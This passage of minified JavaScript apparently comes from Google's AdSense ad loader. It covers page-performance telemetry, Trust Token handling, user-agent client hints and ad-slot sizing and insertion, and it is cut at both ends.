d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})};function zn(a,b,c){var d=window;return function(){var e=Yh(),f=3;try{var g=b.apply(this,arguments)}catch(h){f=13;if(c)return c(a,h),g;throw h;}finally{d.google_measure_js_timing&&e&&(e={label:a.toString(),value:e,duration:(Yh()||0)-e,type:f},f=d.google_js_reporting_queue=d.google_js_reporting_queue||[],2048>f.length&&f.push(e))}return g}}function An(a,b){return zn(a,b,function(c,d){(new yn).I(c,d)})};function Bn(a,b){return null==b?"&"+a+"=null":"&"+a+"="+Math.floor(b)}function Cn(a,b){return"&"+a+"="+b.toFixed(3)}function Dn(){var a=new p.Set,b=aj();try{if(!b)return a;for(var c=b.pubads(),d=u(c.getSlots()),e=d.next();!e.done;e=d.next())a.add(e.value.getSlotId().getDomId())}catch(f){}return a}function En(a){a=a.id;return null!=a&&(Dn().has(a)||r(a,"startsWith").call(a,"google_ads_iframe_")||r(a,"startsWith").call(a,"aswift"))} function Fn(a,b,c){if(!a.sources)return!1;switch(Gn(a)){case 2:var d=Hn(a);if(d)return c.some(function(f){return In(d,f)});case 1:var e=Jn(a);if(e)return b.some(function(f){return In(e,f)})}return!1}function Gn(a){if(!a.sources)return 0;a=a.sources.filter(function(b){return b.previousRect&&b.currentRect});if(1<=a.length){a=a[0];if(a.previousRect.top<a.currentRect.top)return 2;if(a.previousRect.top>a.currentRect.top)return 1}return 0}function Jn(a){return Kn(a,function(b){return b.currentRect})} function Hn(a){return Kn(a,function(b){return b.previousRect})}function Kn(a,b){return a.sources.reduce(function(c,d){d=b(d);return c?d&&0!==d.width*d.height?d.top<c.top?d:c:c:d},null)} function Ln(){Mj.call(this);this.i=this.h=this.P=this.O=this.H=0;this.Ba=this.ya=Number.NEGATIVE_INFINITY;this.ua=this.wa=this.xa=this.za=this.Ea=this.m=this.Da=this.U=0;this.va=!1;this.R=this.N=this.C=0;var a=document.querySelector("[data-google-query-id]");this.Ca=a?a.getAttribute("data-google-query-id"):null;this.l=null;this.Aa=!1;this.ga=function(){}}v(Ln,Mj); function Mn(){var a=new Ln;if(P(of)){var b=window;if(!b.google_plmetrics&&window.PerformanceObserver){b.google_plmetrics=!0;b=u(["layout-shift","largest-contentful-paint","first-input","longtask"]);for(var c=b.next();!c.done;c=b.next())c=c.value,Nn(a).observe({type:c,buffered:!0});On(a)}}} function Nn(a){a.l||(a.l=new PerformanceObserver(An(640,function(b){var c=Pn!==window.scrollX||Qn!==window.scrollY?[]:Rn,d=Sn();b=u(b.getEntries());for(var e=b.next();!e.done;e=b.next())switch(e=e.value,e.entryType){case "layout-shift":var f=a;if(!e.hadRecentInput){f.H+=Number(e.value);Number(e.value)>f.O&&(f.O=Number(e.value));f.P+=1;var g=Fn(e,c,d);g&&(f.m+=e.value,f.za++);if(5E3<e.startTime-f.ya||1E3<e.startTime-f.Ba)f.ya=e.startTime,f.h=0,f.i=0;f.Ba=e.startTime;f.h+=e.value;g&&(f.i+=e.value); f.h>f.U&&(f.U=f.h,f.Ea=f.i,f.Da=e.startTime+e.duration)}break;case "largest-contentful-paint":a.xa=Math.floor(e.renderTime||e.loadTime);a.wa=e.size;break;case "first-input":a.ua=Number((e.processingStart-e.startTime).toFixed(3));a.va=!0;break;case "longtask":e=Math.max(0,e.duration-50),a.C+=e,a.N=Math.max(a.N,e),a.R+=1}})));return a.l} function On(a){var b=An(641,function(){var d=document;2==(d.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[d.visibilityState||d.webkitVisibilityState||d.mozVisibilityState||""]||0)&&Tn(a)}),c=An(641,function(){return void Tn(a)});document.addEventListener("visibilitychange",b);document.addEventListener("unload",c);a.ga=function(){document.removeEventListener("visibilitychange",b);document.removeEventListener("unload",c);Nn(a).disconnect()}} Ln.prototype.j=function(){Mj.prototype.j.call(this);this.ga()}; function Tn(a){if(!a.Aa){a.Aa=!0;Nn(a).takeRecords();var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=plmetrics";window.LayoutShift&&(b+=Cn("cls",a.H),b+=Cn("mls",a.O),b+=Bn("nls",a.P),window.LayoutShiftAttribution&&(b+=Cn("cas",a.m),b+=Bn("nas",a.za)),b+=Cn("wls",a.U),b+=Cn("tls",a.Da),window.LayoutShiftAttribution&&(b+=Cn("was",a.Ea)));window.LargestContentfulPaint&&(b+=Bn("lcp",a.xa),b+=Bn("lcps",a.wa));window.PerformanceEventTiming&&a.va&&(b+=Bn("fid",a.ua));window.PerformanceLongTaskTiming&& (b+=Bn("cbt",a.C),b+=Bn("mbt",a.N),b+=Bn("nlt",a.R));for(var c=0,d=u(document.getElementsByTagName("iframe")),e=d.next();!e.done;e=d.next())En(e.value)&&c++;b+=Bn("nif",c);b+=Bn("ifi",pd(window));c=O(Oh).h();b+="&eid="+encodeURIComponent(c.join());b+="&top="+(w===w.top?1:0);b+=a.Ca?"&qqid="+encodeURIComponent(a.Ca):Bn("pvsid",fd(w));window.googletag&&(b+="&gpt=1");window.fetch(b,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"});a.A||(a.A=!0,a.j())}} function In(a,b){var c=Math.min(a.right,b.right)-Math.max(a.left,b.left);a=Math.min(a.bottom,b.bottom)-Math.max(a.top,b.top);return 0>=c||0>=a?!1:50<=100*c*a/((b.right-b.left)*(b.bottom-b.top))} function Sn(){var a=[].concat(ka(document.getElementsByTagName("iframe"))).filter(En),b=[].concat(ka(Dn())).map(function(c){return document.getElementById(c)}).filter(function(c){return null!==c});Pn=window.scrollX;Qn=window.scrollY;return Rn=[].concat(ka(a),ka(b)).map(function(c){return c.getBoundingClientRect()})}var Pn=void 0,Qn=void 0,Rn=[];var X={issuerOrigin:"https://attestation.android.com",issuancePath:"/att/i",redemptionPath:"/att/r"},Y={issuerOrigin:"https://pagead2.googlesyndication.com",issuancePath:"/dtt/i",redemptionPath:"/dtt/r",getStatePath:"/dtt/s"};var Un=O(yf).h(wf.h,wf.defaultValue); function Vn(a,b,c){Mj.call(this);var d=this;this.i=a;this.h=[];b&&Wn()&&this.h.push(X);c&&this.h.push(Y);if(document.hasTrustToken&&!P(tf)){var e=new p.Map;this.h.forEach(function(f){e.set(f.issuerOrigin,{issuerOrigin:f.issuerOrigin,state:d.i?1:12,hasRedemptionRecord:!1})});window.goog_tt_state_map=window.goog_tt_state_map&&window.goog_tt_state_map instanceof p.Map?new p.Map([].concat(ka(e),ka(window.goog_tt_state_map))):e;window.goog_tt_promise_map&&window.goog_tt_promise_map instanceof p.Map||(window.goog_tt_promise_map= new p.Map)}}v(Vn,Mj);function Wn(){var a=void 0===a?window:a;a=a.navigator.userAgent;var b=/Chrome/.test(a);return/Android/.test(a)&&b}function Xn(){var a=void 0===a?window.document:a;ed(Un,a)}function Yn(a,b){return a||".google.ch"===b||"function"===typeof L.__tcfapi}function Z(a,b,c){var d,e=null==(d=window.goog_tt_state_map)?void 0:d.get(a);e&&(e.state=b,void 0!=c&&(e.hasRedemptionRecord=c))} function Zn(){var a=X.issuerOrigin+X.redemptionPath,b={keepalive:!0,trustToken:{type:"token-redemption",issuer:X.issuerOrigin,refreshPolicy:"none"}};Z(X.issuerOrigin,2);return window.fetch(a,b).then(function(c){if(!c.ok)throw Error(c.status+": Network response was not ok!");Z(X.issuerOrigin,6,!0)}).catch(function(c){c&&"NoModificationAllowedError"===c.name?Z(X.issuerOrigin,6,!0):Z(X.issuerOrigin,5)})} function $n(){var a=X.issuerOrigin+X.issuancePath;Z(X.issuerOrigin,8);return window.fetch(a,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(b){if(!b.ok)throw Error(b.status+": Network response was not ok!");Z(X.issuerOrigin,10);return Zn()}).catch(function(b){if(b&&"NoModificationAllowedError"===b.name)return Z(X.issuerOrigin,10),Zn();Z(X.issuerOrigin,9)})}function ao(){Z(X.issuerOrigin,13);return document.hasTrustToken(X.issuerOrigin).then(function(a){return a?Zn():$n()})} function bo(){Z(Y.issuerOrigin,13);if(p.Promise){var a=document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})}),b=Y.issuerOrigin+Y.redemptionPath,c={keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"none"}};Z(Y.issuerOrigin,16);a=a.then(function(e){return window.fetch(b,c).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,18,!0)}).catch(function(f){if(f&&"NoModificationAllowedError"=== f.name)Z(Y.issuerOrigin,18,!0);else{if(e)return p.Promise.reject({state:17,error:f});Z(Y.issuerOrigin,17)}})}).then(function(){return document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})})}).then(function(e){var f=Y.issuerOrigin+Y.getStatePath;Z(Y.issuerOrigin,20);return window.fetch(f+"?ht="+e,{trustToken:{type:"send-redemption-record",issuers:[Y.issuerOrigin]}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!"); Z(Y.issuerOrigin,22);return g.text().then(function(h){return JSON.parse(h)})}).catch(function(g){return p.Promise.reject({state:21,error:g})})});var d=fd(window);return a.then(function(e){var f=Y.issuerOrigin+Y.issuancePath;return e&&e.srqt&&e.cs?(Z(Y.issuerOrigin,23),window.fetch(f+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!");Z(Y.issuerOrigin,25);return e}).catch(function(g){return p.Promise.reject({state:24, error:g})})):e}).then(function(e){if(e&&e.srdt&&e.cs)return Z(Y.issuerOrigin,26),window.fetch(b+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"refresh"}}).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,28,!0)}).catch(function(f){return p.Promise.reject({state:27,error:f})})}).then(function(){Z(Y.issuerOrigin,29)}).catch(function(e){if(e instanceof Object&&e.hasOwnProperty("state")&&e.hasOwnProperty("error"))if("number"=== typeof e.state&&e.error instanceof Error){Z(Y.issuerOrigin,e.state);var f=Q(vf);Math.random()<=f&&Ff({state:e.state,err:e.error.toString()})}else throw Error(e);else throw e;})}} function co(a){if(document.hasTrustToken&&!P(tf)&&a.i){var b=window.goog_tt_promise_map;if(b&&b instanceof p.Map){var c=[];if(a.h.some(function(e){return e.issuerOrigin===X.issuerOrigin})){var d=b.get(X.issuerOrigin);d||(d=ao(),b.set(X.issuerOrigin,d));c.push(d)}a.h.some(function(e){return e.issuerOrigin===Y.issuerOrigin})&&(a=b.get(Y.issuerOrigin),a||(a=bo(),b.set(Y.issuerOrigin,a)),c.push(a));if(0<c.length&&p.Promise&&p.Promise.all)return p.Promise.all(c)}}};function eo(a){J.call(this,a,-1,fo)}v(eo,J);function go(a,b){return B(a,2,b)}function ho(a,b){return B(a,3,b)}function io(a,b){return B(a,4,b)}function jo(a,b){return B(a,5,b)}function ko(a,b){return B(a,9,b)}function lo(a,b){return Gb(a,10,b)}function mo(a,b){return B(a,11,b)}function no(a,b){return B(a,1,b)}function oo(a){J.call(this,a)}v(oo,J);oo.prototype.getVersion=function(){return I(this,2)};var fo=[10,6];var po="platform platformVersion architecture model uaFullVersion bitness fullVersionList wow64".split(" ");function qo(){var a;return null!=(a=L.google_tag_data)?a:L.google_tag_data={}} function ro(){var a,b;if("function"!==typeof(null==(a=L.navigator)?void 0:null==(b=a.userAgentData)?void 0:b.getHighEntropyValues))return null;var c=qo();if(c.uach_promise)return c.uach_promise;a=L.navigator.userAgentData.getHighEntropyValues(po).then(function(d){null!=c.uach||(c.uach=d);return d});return c.uach_promise=a} function so(a){var b;return mo(lo(ko(jo(io(ho(go(no(new eo,a.platform||""),a.platformVersion||""),a.architecture||""),a.model||""),a.uaFullVersion||""),a.bitness||""),(null==(b=a.fullVersionList)?void 0:b.map(function(c){var d=new oo;d=B(d,1,c.brand);return B(d,2,c.version)}))||[]),a.wow64||!1)} function to(){if(P(pf)){var a,b;return null!=(b=null==(a=ro())?void 0:a.then(function(f){return so(f)}))?b:null}var c,d;if("function"!==typeof(null==(c=L.navigator)?void 0:null==(d=c.userAgentData)?void 0:d.getHighEntropyValues))return null;var e;return null!=(e=L.navigator.userAgentData.getHighEntropyValues(po).then(function(f){return so(f)}))?e:null};function uo(a,b){b.google_ad_host||(a=vo(a))&&(b.google_ad_host=a)}function wo(a,b,c){c=void 0===c?"":c;L.google_sa_impl&&!L.document.getElementById("google_shimpl")&&(delete L.google_sa_queue,delete L.google_sa_impl);L.google_sa_queue||(L.google_sa_queue=[],L.google_process_slots=Xi(215,function(){return xo(L.google_sa_queue)}),a=yo(c,a,b),Lc(L.document,a).id="google_shimpl")} function xo(a){var b=a.shift();"function"===typeof b&&Wi(216,b);a.length&&w.setTimeout(Xi(215,function(){return xo(a)}),0)}function zo(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)} function yo(a,b,c){var d=Math.random()<Q(bf)?hc(qc(b.pb).toString()):null;b=D(c,4)?b.ob:b.qb;d=d?d:hc(qc(b).toString());b={};a:{if(D(c,4)){if(c=a||qn(L)){var e={};c=(e.client=c,e.plah=L.location.host,e);break a}throw Error("PublisherCodeNotFoundForAma");}c={}}Ao(c,b);a:{if(P($e)||P(Oe)){a=a||qn(L);var f;var g=(c=null==(g=U(L))?void 0:null==(f=g.head_tag_slot_vars)?void 0:f.google_ad_host)?c:vo(L);if(a){f={};g=(f.client=a,f.plah=L.location.host,f.ama_t="adsense",f.asntp=Q(Ge),f.asntpv=Q(Ke),f.asntpl= Q(Ie),f.asntpm=Q(Je),f.asntpc=Q(He),f.asna=Q(Ce),f.asnd=Q(De),f.asnp=Q(Ee),f.asns=Q(Fe),f.asmat=Q(Be),f.asptt=Q(Le),f.easpi=P($e),f.asro=P(Me),f.host=g,f.easai=P(Ze),f);break a}}g={}}Ao(g,b);Ao(zf()?{bust:zf()}:{},b);return ec(d,b)}function Ao(a,b){Sc(a,function(c,d){void 0===b[d]&&(b[d]=c)})}function vo(a){if(a=a.document.querySelector('meta[name="google-adsense-platform-account"]'))return a.getAttribute("content")} function Bo(a){a:{var b=void 0===b?!1:b;var c=void 0===c?1024:c;for(var d=[w.top],e=[],f=0,g;g=d[f++];){b&&!Hc(g)||e.push(g);try{if(g.frames)for(var h=0;h<g.frames.length&&d.length<c;++h)d.push(g.frames[h])}catch(l){}}for(b=0;b<e.length;b++)try{var k=e[b].frames.google_esf;if(k){id=k;break a}}catch(l){}id=null}if(id)return null;e=Mc("IFRAME");e.id="google_esf";e.name="google_esf";e.src=sc(a.vb);e.style.display="none";return e} function Co(a,b,c,d){Do(a,b,c,d,function(e,f){e=e.document;for(var g=void 0,h=0;!g||e.getElementById(g+"_anchor");)g="aswift_"+h++;e=g;g=Number(f.google_ad_width||0);f=Number(f.google_ad_height||0);h=Mc("INS");h.id=e+"_anchor";pm(h,g,f);h.style.display="block";var k=Mc("INS");k.id=e+"_expand";pm(k,g,f);k.style.display="inline-table";k.appendChild(h);c.appendChild(k);return e})} function Do(a,b,c,d,e){e=e(a,b);Eo(a,c,b);c=Ia;var f=(new Date).getTime();b.google_lrv=I(d,2);b.google_async_iframe_id=e;b.google_start_time=c;b.google_bpp=f>c?f-c:1;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[e]=b;d=a.document.getElementById(e+"_anchor")?function(h){return h()}:function(h){return window.setTimeout(h,0)};var g={pubWin:a,vars:b};zo(a,function(){var h=a.google_sa_impl(g);h&&h.catch&&Zi(911,h)},d)} function Eo(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!qm[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if("number"!==typeof c.google_reactive_sra_index||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width, c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=Tc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,l=0,m=0;m<k.length;++m){var q=k[m];if(q.nodeName&&q.nodeName.toString().toLowerCase()=== g){if(b===q){g="."+l;break a}++l}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var t=a.parent;for(e=0;t&&t!==a&&25>e;++e){var y=t.frames;for(d=0;d<y.length;++d)if(a===y[d]){b.push(d);break}a=t;t=a.parent}}catch(F){}c.google_ad_dom_fingerprint=Tc(h+b.join()).toString()}}function Fo(){var a=Ic(w);a&&(a=Uf(a),a.tagSpecificState[1]||(a.tagSpecificState[1]={debugCard:null,debugCardRequested:!1}))} function Go(a){Xn();Yn(Wk(),I(a,8))||Xi(779,function(){var b=window;b=void 0===b?window:b;b=P(b.PeriodicSyncManager?rf:sf);var c=P(uf);b=new Vn(!0,b,c);0<Q(xf)?L.google_trust_token_operation_promise=co(b):co(b)})();a=to();null!=a&&a.then(function(b){L.google_user_agent_client_hint=Lb(b)});wn();un()};function Ho(a,b){switch(a){case "google_reactive_ad_format":return a=parseInt(b,10),isNaN(a)?0:a;case "google_allow_expandable_ads":return/^true$/.test(b);default:return b}} function Io(a,b){if(a.getAttribute("src")){var c=a.getAttribute("src")||"";(c=Gc(c))&&(b.google_ad_client=Ho("google_ad_client",c))}a=a.attributes;c=a.length;for(var d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ja(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));b.hasOwnProperty(f)||(e=Ho(f,e.value),null!==e&&(b[f]=e))}}} function Jo(a){if(a=ld(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12} function Ko(a,b,c,d){Io(a,b);if(c.document&&c.document.body&&!Zm(c,b)&&!b.google_reactive_ad_format){var e=parseInt(a.style.width,10),f=cn(a,c);if(0<f&&e>f){var g=parseInt(a.style.height,10);e=!!qm[e+"x"+g];var h=f;if(e){var k=rm(f,g);if(k)h=k,b.google_ad_format=k+"x"+g+"_0ads_al";else throw new T("No slot size for availableWidth="+f);}b.google_ad_resize=!0;b.google_ad_width=h;e||(b.google_ad_format=null,b.google_override_format=!0);f=h;a.style.width=f+"px";g=Tm(f,"auto",c,a,b);h=f;g.size().i(c,b, a);Dm(g,h,b);g=g.size();b.google_responsive_formats=null;g.minWidth()>f&&!e&&(b.google_ad_width=g.minWidth(),a.style.width=g.minWidth()+"px")}}e=a.offsetWidth||xi(a,c,"width",K)||b.google_ad_width||0;f=Fa(Tm,e,"auto",c,a,b,!1,!0);if(!P(Xe)&&488>Wf(c)){g=Ic(c)||c;h=b.google_ad_client;d=g.location&&"#ftptohbh"===g.location.hash?2:yl(g.location,"google_responsive_slot_preview")||P(ef)?1:P(df)?2:Yk(g,1,h,d)?1:0;if(g=0!==d)b:if(b.google_reactive_ad_format||Zm(c,b)||mi(a,b))g=!1;else{for(g=a;g;g=g.parentElement){h= Nc(g,c);if(!h){b.gfwrnwer=18;g=!1;break b}if(!Xa(["static","relative"],h.position)){b.gfwrnwer=17;g=!1;break b}}g=qi(c,a,e,.3,b);!0!==g?(b.gfwrnwer=g,g=!1):g=c===c.top?!0:!1}g?(b.google_resizing_allowed=!0,b.ovlp=!0,2===d?(d={},Dm(f(),e,d),b.google_resizing_width=d.google_ad_width,b.google_resizing_height=d.google_ad_height,b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1),d=!0):d=!1}else d=!1;if(e=Zm(c,b))an(e,a,b,c,d);else{if(mi(a,b)){if(d=Nc(a,c))a.style.width=d.width,a.style.height= d.height,li(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Jo(c)}else li(a.style,b);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive?an(10,a,b,c,!1):.01>Math.random()&&12===b.google_responsive_auto_format&&(a=ri(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer= a):b.efwr=!0)}};function Lo(a){this.j=new p.Set;this.u=md()||window;this.h=Q(ze);var b=0<this.h&&Rc()<1/this.h;this.A=(this.i=!!Hj(Dj(),30,b))?fd(this.u):0;this.m=this.i?qn(this.u):"";this.l=null!=a?a:new yg(100)}function Mo(){var a=O(Lo);var b=new qk;b=B(b,1,Vf(a.u).scrollWidth);b=B(b,2,Vf(a.u).scrollHeight);var c=new qk;c=B(c,1,Wf(a.u));c=B(c,2,Vf(a.u).clientHeight);var d=new sk;d=B(d,1,a.A);d=B(d,2,a.m);d=B(d,3,a.h);var e=new rk;b=Eb(e,2,b);b=Eb(b,1,c);b=Fb(d,4,tk,b);a.i&&!a.j.has(1)&&(a.j.add(1),ug(a.l,b))};function No(a){var b=window;var c=void 0===c?null:c;xc(b,"message",function(d){try{var e=JSON.parse(d.data)}catch(f){return}!e||"sc-cnf"!==e.googMsgType||c&&/[:|%3A]javascript\(/i.test(d.data)&&!c(e,d)||a(e,d)})};function Oo(a,b){b=void 0===b?500:b;Mj.call(this);this.i=a;this.ta=b;this.h=null;this.m={};this.l=null}v(Oo,Mj);Oo.prototype.j=function(){this.m={};this.l&&(yc(this.i,this.l),delete this.l);delete this.m;delete this.i;delete this.h;Mj.prototype.j.call(this)};function Po(a){Mj.call(this);this.h=a;this.i=null;this.l=!1}v(Po,Mj);var Qo=null,Ro=[],So=new p.Map,To=-1;function Uo(a){return Fi.test(a.className)&&"done"!=a.dataset.adsbygoogleStatus}function Vo(a,b,c){a.dataset.adsbygoogleStatus="done";Wo(a,b,c)} function Wo(a,b,c){var d=window;d.google_spfd||(d.google_spfd=Ko);var e=b.google_reactive_ads_config;e||Ko(a,b,d,c);uo(d,b);if(!Xo(a,b,d)){e||(d.google_lpabyc=ni(a,d)+xi(a,d,"height",K));if(e){e=e.page_level_pubvars||{};if(U(L).page_contains_reactive_tag&&!U(L).allow_second_reactive_tag){if(e.pltais){wl(!1);return}throw new T("Only one 'enable_page_level_ads' allowed per page.");}U(L).page_contains_reactive_tag=!0;wl(7===e.google_pgb_reactive)}b.google_unique_id=od(d);Sc(mn,function(f,g){b[g]=b[g]|| d[g]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(U(L).first_tag_on_page||0);Wi(164,function(){Co(d,b,a,c)})}} function Xo(a,b,c){var d=b.google_reactive_ads_config,e="string"===typeof a.className&&RegExp("(\\W|^)adsbygoogle-noablate(\\W|$)").test(a.className),f=ul(c);if(f&&f.Fa&&"on"!=b.google_adtest&&!e){e=ni(a,c);var g=Vf(c).clientHeight;if(!f.qa||f.qa&&((0==g?null:e/g)||0)>=f.qa)return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=za(a),b.google_element_uid=d,c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==f.tb&&(null!==Zc(a.getAttribute("width"))&& a.setAttribute("width",0),null!==Zc(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0}if((f=Nc(a,c))&&"none"==f.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format|| !a?!1:(w.console&&w.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function Yo(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(Uo(e)&&"reserved"!=e.dataset.adsbygoogleStatus&&(!a||d.id==a))return d}return null} function Zo(a,b,c){if(a&&a.shift)for(var d=20;0<a.length&&0<d;){try{$o(a.shift(),b,c)}catch(e){setTimeout(function(){throw e;})}--d}}function ap(){var a=Mc("INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";bd(a);return a} function bp(a,b){var c={};Sc(Rf,function(f,g){!1===a.enable_page_level_ads?c[g]=!1:a.hasOwnProperty(g)&&(c[g]=a[g])});ya(a.enable_page_level_ads)&&(c.page_level_pubvars=a.enable_page_level_ads);var d=ap();hd.body.appendChild(d);var e={};e=(e.google_reactive_ads_config=c,e.google_ad_client=a.google_ad_client,e);e.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(d,e,b)} function cp(a,b){function c(){return bp(a,b)}Uf(w).wasPlaTagProcessed=!0;var d=w.document;if(d.body||"complete"==d.readyState||"interactive"==d.readyState)c();else{var e=wc(Xi(191,c));xc(d,"DOMContentLoaded",e);(new w.MutationObserver(function(f,g){d.body&&(e(),g.disconnect())})).observe(d,{childList:!0,subtree:!0})}} function $o(a,b,c){var d={};Wi(165,function(){dp(a,d,b,c)},function(e){e.client=e.client||d.google_ad_client||a.google_ad_client;e.slotname=e.slotname||d.google_ad_slot;e.tag_origin=e.tag_origin||d.google_tag_origin})}function ep(a){delete a.google_checked_head;Sc(a,function(b,c){Ei[c]||(delete a[c],w.console.warn("AdSense head tag doesn't support "+c.replace("google","data").replace(/_/g,"-")+" attribute."))})} function fp(a,b){var c=L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]:not([data-checked-head])')||L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])');if(c){c.setAttribute("data-checked-head","true");var d=U(window);if(d.head_tag_slot_vars)gp(c);else{var e={};Io(c,e);ep(e);var f=$b(e);d.head_tag_slot_vars=f;c={google_ad_client:e.google_ad_client,enable_page_level_ads:e};L.adsbygoogle||(L.adsbygoogle=[]);d=L.adsbygoogle; d.loaded?d.push(c):d.splice(0,0,c);var g;e.google_adbreak_test||(null==(g=Ib(b,Fk,13,Uk))?0:D(g,3))&&P(jf)?hp(f,a):No(function(){hp(f,a)})}}}function gp(a){var b=U(window).head_tag_slot_vars,c=a.getAttribute("src")||"";if((a=Gc(c)||a.getAttribute("data-ad-client")||"")&&a!==b.google_ad_client)throw new T("Warning: Do not add multiple property codes with AdSense tag to avoid seeing unexpected behavior. These codes were found on the page "+a+", "+b.google_ad_client);} function ip(a){if("object"===typeof a&&null!=a){if("string"===typeof a.type)return 2;if("string"===typeof a.sound||"string"===typeof a.preloadAdBreaks)return 3}return 0} function dp(a,b,c,d){if(null==a)throw new T("push() called with no parameters.");14===Cb(d,Uk)&&jp(a,wb(Tk(d),1),I(d,2));var e=ip(a);if(0!==e)P(af)&&(d=xl(),d.first_slotcar_request_processing_time||(d.first_slotcar_request_processing_time=Date.now(),d.adsbygoogle_execution_start_time=Ia)),null==Qo?(kp(a),Ro.push(a)):3===e?Wi(787,function(){Qo.handleAdConfig(a)}):Zi(730,Qo.handleAdBreak(a));else{Ia=(new Date).getTime();wo(c,d,lp(a));mp();a:{if(void 0!=a.enable_page_level_ads){if("string"===typeof a.google_ad_client){e= !0;break a}throw new T("'google_ad_client' is missing from the tag config.");}e=!1}if(e)np(a,d);else if((e=a.params)&&Sc(e,function(g,h){b[h]=g}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{e=op(a.element);Io(e,b);c=U(w).head_tag_slot_vars||{};Sc(c,function(g,h){b.hasOwnProperty(h)||(b[h]=g)});if(e.hasAttribute("data-require-head")&&!U(w).head_tag_slot_vars)throw new T("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com."); if(!b.google_ad_client)throw new T("Ad client is missing from the slot.");b.google_apsail=dl(b.google_ad_client);var f=(c=0===(U(L).first_tag_on_page||0)&&Fl(b))&&Gl(c);c&&!f&&(np(c,d),U(L).skip_next_reactive_tag=!0);0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=2);b.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(e,b,d);c&&f&&pp(c)}}}var qp=!1;function jp(a,b,c){P(Ye)&&!qp&&(qp=!0,a=lp(a)||qn(L),Yi("predictive_abg",{a_c:a,p_c:b,b_v:c},.01))} function lp(a){return a.google_ad_client?a.google_ad_client:(a=a.params)&&a.google_ad_client?a.google_ad_client:""}function mp(){if(P(Re)){var a=ul(L);if(!(a=a&&a.Fa)){try{var b=L.localStorage}catch(c){b=null}b=b?zj(b):null;a=!(b&&Ck(b)&&b)}a||vl(L,1)}}function pp(a){gd(function(){Uf(w).wasPlaTagProcessed||w.adsbygoogle&&w.adsbygoogle.push(a)})} function np(a,b){if(U(L).skip_next_reactive_tag)U(L).skip_next_reactive_tag=!1;else{0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=1);if(a.tag_partner){var 